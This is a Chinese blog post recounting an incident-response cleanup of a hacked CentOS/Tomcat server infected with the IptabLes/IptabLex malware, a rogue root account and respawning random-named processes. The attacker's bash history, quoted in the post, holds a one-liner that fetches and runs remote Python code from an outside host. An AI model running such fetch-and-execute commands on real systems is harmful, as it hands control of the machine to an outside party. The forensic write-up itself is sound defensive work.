去年有台Linux服务器被黑了,看了500万行日志(现在觉得当时好厉害呀),反正当时的日志文件有700Mb以上大。前两天师兄告诉我,信息中心的老师给他说我们有台服务器应该是被人入侵了,当作内网的跳板,经常对内网中的其他服务器发出攻击的数据。于是我连夜就去服务器上看了。

  这是我第一次上这个服务器,什么情况都不知道,只知道这个服务器是Linux(尼玛具体是什么发行版都要我去查),上面跑着一个网站。

  

  进去之后,先看看是什么发行版的。CentOS6.5,以前都只玩的Ubuntu,换这个上面多多少少还有点陌生的。好了废话不多说了。

  再去看看什么网页吧。cd /var/下面,没有看到是www或者htdocs之类的目录,不会是tomcat吧。搜索了一下,果然是。网页内容先不看了,应该是已经提权成功了的。直接就去看看服务器算了。

  

  写文章的时候才意识到,我一开始不应该乱看其他的,应该先把.bash_history什么的先备份下才对。算是给自己提一个醒吧。

  看看passwd和shadow:

[root@localhost /]# stat /etc/passwd
  File: "/etc/passwd"
  Size: 1723       Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d Inode: 919098      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 09:32:01.730288306 +0800
Modify: 2014-04-02 09:31:28.469644869 +0800
Change: 2014-04-02 09:31:28.503201786 +0800
[root@localhost /]# stat /etc/shadow
  File: "/etc/shadow"
  Size: 1177       Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d Inode: 919095      Links: 1
Access: (0000/----------)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 09:40:01.734126039 +0800
Modify: 2014-04-02 09:38:11.473125883 +0800
Change: 2014-04-02 09:38:11.498275087 +0800

看来是4月2号就入侵成功了呀。查看了下/home下的目录,多了一个用户。还是看看passwd吧。

[root@localhost /]#cat /etc/shadow

mysql:!!:15791:::::: tomcat:!!:15791:::::: chu:$6$kG9zMTps$7H61NSjXMY3/Jc/tZrJtCuwFn1mhDyWXVg4blFghfLdbQNXr.6Li9tYt5fYVJsIlvwb0z68k/EQXsUljZK6.L0:15793:0:99999:7::: sqzr:$6$yBrvX/HDaim/vrK4$uArYMq6Zr2XM7BWTzexC16RI6HGmOp9cs65AgLR.v.yx3rN0M6YzblNCJytGsguFSbsGN18OPpcyrSG63fKKS.:16162:0:99999:7:::

passwd就不写出来了。在passwd中,sqzr这个用户后面的和root一样,也就是root权限了。userdel sqzr提示不能删除,当前已经登录,尼玛,这个用户就是给root取了个别名吧。直接修改两个文件,删除这一行。用户就算是清理了。

看下进程:

21911 ?        00:00:00 .IptabLex

21917 ?        00:00:00 .IptabLes

29093 ?        00:00:02 prwpodebiq

这是什么,第一眼还以为是防火墙,可是多了一个,再一想,Linux下面要区分大小写的,这东西不对劲。

百度了下,发现确实是个病毒,也有其他人中招了。

http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/

还有那个prwpodebiq,完全没有意义的进程名,如此大的pid,肯定有问题。

  

[root@localhost /]# find / -name prwpodebiq -print
/boot/prwpodebiq
/etc/rc.d/init.d/prwpodebiq

[root@localhost /]# cd /boot/
[root@localhost boot]# ll
总用量 19858
-rw-r--r--. 1 root root    97862 5月  20 2011 config-2.6.32-71.el6.x86_64
drwxr-xr-x. 3 root root     1024 3月  27 2013 efi
drwxr-xr-x. 2 root root     1024 3月  27 2013 grub
-rw-r--r--. 1 root root 13419499 3月  27 2013 initramfs-2.6.32-71.el6.x86_64.img
lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLes -> /etc/rc.d/init.d/IptabLes
lrwxrwxrwx  1 root root       25 9月  16 22:31 IptabLex -> /etc/rc.d/init.d/IptabLex
drwx------. 2 root root    12288 3月  27 2013 lost+found
-rwxr-x---  1 root root   613533 9月  21 21:29 prwpodebiq
-rw-r--r--. 1 root root   160542 5月  20 2011 symvers-2.6.32-71.el6.x86_64.gz
-rw-r--r--. 1 root root  2226490 5月  20 2011 System.map-2.6.32-71.el6.x86_64
-rwxr-xr-x. 1 root root  3791040 5月  20 2011 vmlinuz-2.6.32-71.el6.x86_64

[root@localhost boot]# stat prwpodebiq
  File: "prwpodebiq"
  Size: 613533          Blocks: 1200       IO Block: 1024   普通文件
Device: 801h/2049d      Inode: 22          Links: 1
Access: (0750/-rwxr-x---)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2014-09-21 23:16:18.000000000 +0800
Modify: 2014-09-21 21:29:26.000000000 +0800
Change: 2014-09-21 21:29:26.000000000 +0800

777的文件,定位到病毒了。

[root@localhost boot]# find / -name *IptabL* -print
/boot/.IptabLes
/boot/.IptabLex
/etc/rc.d/rc4.d/S55IptabLes
/etc/rc.d/rc4.d/S55IptabLex
/etc/rc.d/rc2.d/S55IptabLes
/etc/rc.d/rc2.d/S55IptabLex
/etc/rc.d/rc3.d/S55IptabLes
/etc/rc.d/rc3.d/S55IptabLex
/etc/rc.d/rc5.d/S55IptabLes
/etc/rc.d/rc5.d/S55IptabLex
/usr/.IptabLes
/usr/.IptabLex
[root@localhost boot]# rm -rf `find / -name *IptabL*`

手动删除了一部分,但东西太多了,直接用find删除了。

此外用lsof看到了一些进程和/下的pid文件有关联,于是直接删除了。

# ll -a /   (只显示可疑的文件)
-rw-r--r--   1 root  root      5 Jan 12 17:15 .mylisthb.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbS.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbSx.pid
-rw-r--r--   1 root  root      5 Jan 12 16:57 .mylisthbx.pid

感觉已经解决问题了,ps -A 看看还有没有问题。。。于是。。

3499 ?        00:00:00 sshd
 3505 ?        00:00:00 kdpiaqommj
 3506 pts/0    00:00:00 ps
29093 ?        00:00:10 prwpodebiq
29101 ?        00:00:00 flush-8:0
31327 ?        00:00:00 sshd
31378 pts/0    00:00:06 bash

又出来一个kdpiaqommj和prwpodebiq,这种没有什么意义的名字的进程。lsof之。发现又在/boot下,晕,kill后再rm一个。

再看一次进程,又出现了一个tieyhxjhkl。

[root@localhost bin]# lsof -p 5669
COMMAND    PID USER   FD   TYPE     DEVICE SIZE/OFF    NODE NAME
tieyhxjhk 5669 root  cwd    DIR      253,0     4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bin
tieyhxjhk 5669 root  rtd    DIR      253,0     4096       2 /
tieyhxjhk 5669 root  txt    REG        8,1   613533      18 /boot/tieyhxjhkl
tieyhxjhk 5669 root    0u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    1u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    2u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    3u  IPv4 1445967634      0t0     TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

是反弹shell还是什么?

应该是还有文件被改了吧,去tomcat目录中看看。

[root@localhost bin]# ll
总用量 1828
-rw-r--r-- 1 root root   28615 3月  22 2013 bootstrap.jar
-rw-r--r-- 1 root root     461 5月  18 00:54 c:\2.vbs
-rw-r--r-- 1 root root   13217 3月  22 2013 catalina.bat
-rwxr-xr-x 1 root root   19276 3月  22 2013 catalina.sh
-rw-r--r-- 1 root root    2121 3月  22 2013 catalina-tasks.xml
-rw-r--r-- 1 root root   24281 3月  22 2013 commons-daemon.jar
-rw-r--r-- 1 root root  202451 3月  22 2013 commons-daemon-native.tar.gz
-rw-r--r-- 1 root root    2131 3月  22 2013 configtest.bat
-rwxr-xr-x 1 root root    1982 3月  22 2013 configtest.sh
-rw-r--r-- 1 root root    1342 3月  22 2013 cpappend.bat
-rwxr-xr-x 1 root root   22987 5月  23 09:04 D32
-rwxr-xr-x 1 root root   27805 5月  23 09:04 D64
-rwxr-xr-x 1 root root    7492 3月  22 2013 daemon.sh
-rw-r--r-- 1 root root    2178 3月  22 2013 digest.bat
-rwxr-xr-x 1 root root    2021 3月  22 2013 digest.sh
-rw-r--r-- 1 root root 1103207 7月  11 02:49 getsetup.hb.1
-rw-r--r-- 1 root root       0 8月   5 16:19 Ŀ��������·�� ��������pwd����
-rw-r--r-- 1 root root    3264 3月  22 2013 setclasspath.bat
-rwxr-xr-x 1 root root    3524 3月  22 2013 setclasspath.sh
-rw-r--r-- 1 root root    2111 3月  22 2013 shutdown.bat
-rwxr-xr-x 1 root root    1960 3月  22 2013 shutdown.sh
-rw-r--r-- 1 root root    2112 3月  22 2013 startup.bat
-rwxr-xr-x 1 root root    1961 3月  22 2013 startup.sh
-rw-r--r-- 1 root root   38161 3月  22 2013 tomcat-juli.jar
-rw-r--r-- 1 root root  288166 3月  22 2013 tomcat-native.tar.gz
-rw-r--r-- 1 root root    4114 3月  22 2013 tool-wrapper.bat
-rwxr-xr-x 1 root root    5086 3月  22 2013 tool-wrapper.sh
-rw-r--r-- 1 root root    2116 3月  22 2013 version.bat
-rwxr-xr-x 1 root root    1965 3月  22 2013 version.sh

红字是tomcat中没有的,删除了。

然后kill。然后重启服务器。

然后我就晕了,还有!!!!!!   这次lsof的cwd直接是/了。而根下没有什么东西了。

然后我发现,该进程是随机产生名字,然后会生成两个子进程,子进程也是随机名字,并且只有2秒不到的存活期,kill不了。kill父进程,还会产生。同时会在/boot下生成自己的可执行文件。

通过netstat -anput 发现这个进程的功能应该是    TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。

tcp        0      1 这里是我的IP:41939       222.34.129.154:2804         SYN_SENT    1701/bash

这尼玛好像就是反弹shell吧。

还是看看.bash_history吧。

973 find -name '*tomcat*'
    974 find -name 'index.jsp'
    975 ------------------------------
    976 find -name 'index.jsp'
    977 ls
    978 top
    979 ls
    980 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    981 python2
    982 python
    983 ls
    984 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
    985 wget www.baidu.com
    986 cat index.html
    987 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2
    988 wget https://www.python.org/ftp//python/2.7/Python-2.7.tar.bz2 --no-check-certificate
    989 ls
    990 tar -jxvf Python-2.7.tar.bz2
    991 cd p
    992 cd Python-2.7/
    993 dir
    994 ./configure
    995 make
    996 make install
    997 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    998 python -c "exec(__import__('urllib').urlopen('http://www.yascanner.com/0c971e54b1eef79a').read())" -m 50
    999 pip
   1000 yum install python-zlib

2016 更新:

这个 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 原来是扫描器。

tail –100 /var/log/secure

看看安全信息,有公网IP拼命的在尝试root的密码,而且走的是ssh进来的。当然关闭ssh相信应该是可以的。我这因为目前公网上还需要用到ssh,所以只能在hosts.deny上进行阻止该公网IP进来。

  东北大学网络中心有常见的ssh攻击的IP地址,及一个sh脚本:

  网址:http://antivirus.neu.edu.cn/scan/ssh.php

阻止别人的ssh连接了,但是内部的 那个进程还是一直有,一直发着这个

TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

他应该用的应该是Struts2的漏洞进入服务器里的,但是留下的那个后门,我现在还没有办法解决,

Struts2的漏洞可以看这里:

http://struts.apache.org/release/2.3.x/docs/s2-016.html

至此,先到这里吧。最近还是再看看吧。

小记IptabLes和IptabLex病毒清理过程的更多相关文章

  1. 记一次阿里云linux病毒清理过程

    1.起因   因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码.在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的 ...

  2. linux服务器随机10字符病毒/libudev4.so病毒清理的过程

    故障表现:某天晚上突然收到某项目一台web服务器CPU报警,SSH连接困难卡顿,登陆后发现CPU使用率飙升到700%,第一感觉是被黑了,来事了. 故障处理: 1.登陆上后发现有好多莫名的命令(who/ ...

  3. centos 10字母随机文件病毒清理

    病毒表现:网络流量暴满,疯狂地向香港的一个IP发数据,同时在top里面表现为随机的10位字母的进程,看/proc里面的信息,则为ls,cd之类常见的命令,CPU利用率也在top之首.杀死该进程后,会再 ...

  4. Linux服务器病毒清理实践

    背景:客户服务器被挂载木马病毒用以挖矿(比特币). 本次清理通过Linux基本命令完成.其原理也比较简单,通过ps命令查看服务器异常进程,然后通过lsof命令定位进程访问的文件,找到异常文件删除之,最 ...

  5. qW3xT.2挖矿病毒 解决过程及坑

    周一早上老大让我把项目更新一下,然后配置一下elasticsearch,我登上服务器之后部署的时候没有什么感觉,但是在配置elasticsearch的过程中感觉服务器哪个地方有点不对,下意识的top了 ...

  6. 记一次Linux Centos7病毒清理

    记一次在工作中测试环境下中病毒的处理解决办法,都说linux系统非常安全,但是很多人百年一遇的病毒被我遇上了,公司三台测试环境服务器中招. 最开始系统突然变得很卡,使用top命令查看资源占用情况,发现 ...

  7. 记录腾讯云中矿机病毒处理过程(重装系统了fu*k)

    刚想学学kafka,登录与服务器看看把,谁知ssh特别慢,很奇怪,我以为是我网速问题,断了wifi,换了网线,通过iterm想要ssh root@x.x.x.x,但是上不去? 就tm的很奇怪了,登录腾 ...

  8. linux 木马清理过程

    服务器出现异常,完全无法访问,ssh登陆都极其缓慢 解决过程 top 查看系统状态,发现 load average 平均负载值非常高,再看排名第一的进程,是一个不认识的进程名:minerd 感觉是被入 ...

  9. 记一次生产主机中挖矿病毒"kintegrityds"处理过程!

    [记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...

随机推荐

  1. C语言/C++对编程学习的重要性!

    C语言是面向过程的,而C++是面向对象的 C和C++的区别: C是一个结构化语言,它的重点在于算法和数据结构.C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现 ...

  2. 20155204第4次实验《Android程序设计》实验报告

    20155204第四次实验报告 一.实验内容及步骤 1.Android Stuidio的安装测试: 安装 Android Stuidio 完成Hello World, 要求修改res目录中的内容,He ...

  3. 20155206 2016-2017-2 《Java程序设计》第十周学习总结

    20155206 2016-2017-2 <Java程序设计>第十周学习总结. 教材学习内容总结 教材学习内容总结 Java的网络编程 •网络编程是指编写运行在多个设备(计算机)的程序,这 ...

  4. 20155209 2016-2017-2 《Java程序设计》第十周学习总结

    20155209 2016-2017-2 <Java程序设计>第十周学习总结 教材学习内容总结 计算机网络,是指分布在不同地理区域的计算机用通信线路互连起来的一个具有强大功能的网络系统.网 ...

  5. 20155332 2006-2007-2 《Java程序设计》第3周学习总结

    学号 2006-2007-2 <Java程序设计>第3周学习总结 教材学习内容总结 尽量简单的总结一下本周学习内容 尽量不要抄书,浪费时间 看懂就过,看不懂,学习有心得的记一下 教材学习中 ...

  6. 20155336 实验三 敏捷开发与XP实践

    20155336 实验三 敏捷开发与XP实践 实验内容 XP基础 XP核心实践 相关工具 实验内容及步骤 (一)编码标准:在IDEA中使用工具(Code->Reformate Code)把代码重 ...

  7. 20155339 《信息安全技术》实验二、Windows口令破解实验报告

    20155339 <信息安全技术>实验二.Windows口令破解实验报告 实验目的 了解Windows口令破解原理 对信息安全有直观感性认识 能够运用工具实现口令破解 系统环境 Windo ...

  8. 20145226夏艺华 《Java程序设计》第9周学习总结

    教材学习内容总结 学习目标 了解JDBC架构 掌握JDBC架构 掌握反射与ClassLoader 了解自定义泛型和自定义枚举 会使用标准注解 第16章 整合数据库 16.1 JDBC入门 (一)JDB ...

  9. checkpoint process vs writer process vs wal writer process

    开始 我目前的理解是: 如果我执行了一条SQL文,那么 先是相关数据写到  wal buffer里, 然后再写到 data  buffer(shared_buffer)里. 这之后, 由于wal wr ...

  10. python 逆波兰式

    逆波兰式,也叫后缀表达式 技巧:为简化代码,引入一个不存在的运算符#,优先级最低.置于堆栈底部 class Stack(object): '''堆栈''' def __init__(self): se ...